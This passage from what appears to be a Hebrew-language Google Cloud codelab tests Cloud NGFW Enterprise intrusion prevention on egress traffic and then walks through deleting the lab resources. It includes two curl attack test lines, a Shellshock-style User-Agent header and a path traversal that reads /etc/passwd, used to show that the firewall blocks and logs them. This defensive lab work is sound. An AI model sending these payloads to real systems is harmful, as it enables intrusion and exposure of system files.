gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
חוזרים למכונה הווירטואלית של הלקוח ושולחים מחדש מתקפות ברמת חומרה גבוהה לכתובת ה-IP של השרת החיצוני:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
הפלט אמור להיראות כך:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
עוברים לכרטיסייה Threats (איומים) ב-Cloud Console כדי לאמת את היומנים (יכול להיות שיהיה צורך לרענן כמה פעמים). המתקפות היו אמורות להיות מזוהות ומתועדות שוב, אבל עכשיו כתובת ה-IP של המקור היא פנימית כי מופעל קודם כל כלל יציאה:

סוגרים את סשן ה-SSH וממשיכים לקטע הבא כדי לבצע את שלבי הניקוי.
8. שלבי הניקוי
ניקוי רכיבים של Cloud NGFW Enterprise
כדי לראות את השיוכים הקיימים של Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations list
מחיקת השיוך של Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
כדי לראות את רשימת נקודות הקצה הקיימות של Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
מוחקים את נקודת הקצה של Cloud NGFW Enterprise. התהליך הזה יכול להימשך כ-20 דקות:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
מריצים את הפקודה הבאה כדי לוודא ש-Cloud NGFW Enterprise נמחק:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
מוחקים את קבוצת פרופילי האבטחה ואת פרופיל מניעת האיומים:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
ניקוי של הגדרות בסיסיות
אם אתם מעדיפים למחוק את משאבי הבסיס, אתם יכולים להמשיך לשלב הבא.
מגדירים את משתני הסביבה, אם צריך. מ-Cloud Shell, מוחקים את הרכיבים של מאזן עומסי רשת:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
הסרת מכונות:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
אופציונלי: אם התפקידים tagAdmin ו-tagUsers השתנו, מבצעים את השלבים הבאים:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
הסרת מפתח תג וערכים:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
מוחקים את מדיניות הרשת של חומת האש ב-Cloud ואת השיוך שלה:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
מחיקת Cloud Router ו-Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
מחיקת כתובות IP שמורות:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
לבסוף, מוחקים את רשת המשנה ואת רשת ה-VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. מעולה!
כל הכבוד, סיימתם בהצלחה את ה-Codelab בנושא Cloud NGFW Enterprise לבדיקת תנועה מזרח-מערב וצפון-דרום.